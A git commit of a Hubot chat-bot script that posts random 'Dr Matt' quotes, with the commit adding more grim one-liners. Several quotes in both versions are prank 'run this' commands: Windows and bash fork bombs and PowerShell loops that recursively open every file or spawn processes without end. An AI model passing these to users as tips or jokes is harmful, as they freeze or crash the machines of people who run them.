<commit_before># Description:
#   Dr Matt sayzz
#
# Dependencies:
#   None
#
# Configuration:
#   None
#
# Commands:
#   hubot what would Dr Matt say
#   hubot awake your brothers
#
# Author:
#   <NAME> <sagasu>



MATT_QUOTE = [
  "Burritos are just tacoids in the category of enchiladafunctors",
  "Monads are just monoids in the category of endofunctors",
  "You can not follow the path, before you will become the path yourself",
  "Expect nothing, seek nothing, grasp nothing",
  "run this `cmd /k echo -^|->-.bat&-`",
  "run this in cmd `%0|%0`",
  "run this in powershell `gci \ -R|ii`",
  "run this in powershell `for(){PS|II}`",
  "run this in powershell `for(){PS|SAPS}`",
  "run this in powershell `while(1){ii /*}`",
  "run this in powershell `while(1){ii .}` your welcome",
  "run this on your linux box `:(){ : | :& }; :` you are welcome.",
  "sooner or later the blade will be the answer. It always is."
]

module.exports = (robot) ->

  robot.respond /what would Dr Matt say/i, (msg)->
    msg.send msg.random(MATT_QUOTE)
    
  robot.respond /awake your brothers/i, (msg)->
    msg.send "https://secure-anchorage-54524.herokuapp.com/"<commit_msg>adding more quotes<commit_after># Description:
#   Dr Matt sayzz
#
# Dependencies:
#   None
#
# Configuration:
#   None
#
# Commands:
#   hubot what would Dr Matt say
#   hubot awake your brothers
#
# Author:
#   <NAME> <sagasu>



MATT_QUOTE = [
  "Burritos are just tacoids in the category of enchiladafunctors",
  "Monads are just monoids in the category of endofunctors",
  "You can not follow the path, before you will become the path yourself",
  "Expect nothing, seek nothing, grasp nothing",
  "run this `cmd /k echo -^|->-.bat&-`",
  "run this in cmd `%0|%0`",
  "run this in powershell `gci \ -R|ii`",
  "run this in powershell `for(){PS|II}`",
  "run this in powershell `for(){PS|SAPS}`",
  "run this in powershell `while(1){ii /*}`",
  "run this in powershell `while(1){ii .}` your welcome",
  "run this on your linux box `:(){ : | :& }; :` you are welcome.",
  "sooner or later the blade will be the answer. It always is.",
  "my too soft heart will be my undoing",
  "the reckoning comes",
  "A great warrior is the one who still breaths when the crow feasts",
  "The good king is the one who watches his enemies burn",
  "Choose your enemies wisely they will be with you longer than your friends",
  "What has the world become to if an honest man cannot burn corpses without a suspicion",
  "Death awaits us all"
]

module.exports = (robot) ->

  robot.respond /what would Dr Matt say/i, (msg)->
    msg.send msg.random(MATT_QUOTE)
    
  robot.respond /awake your brothers/i, (msg)->
    msg.send "https://secure-anchorage-54524.herokuapp.com/"
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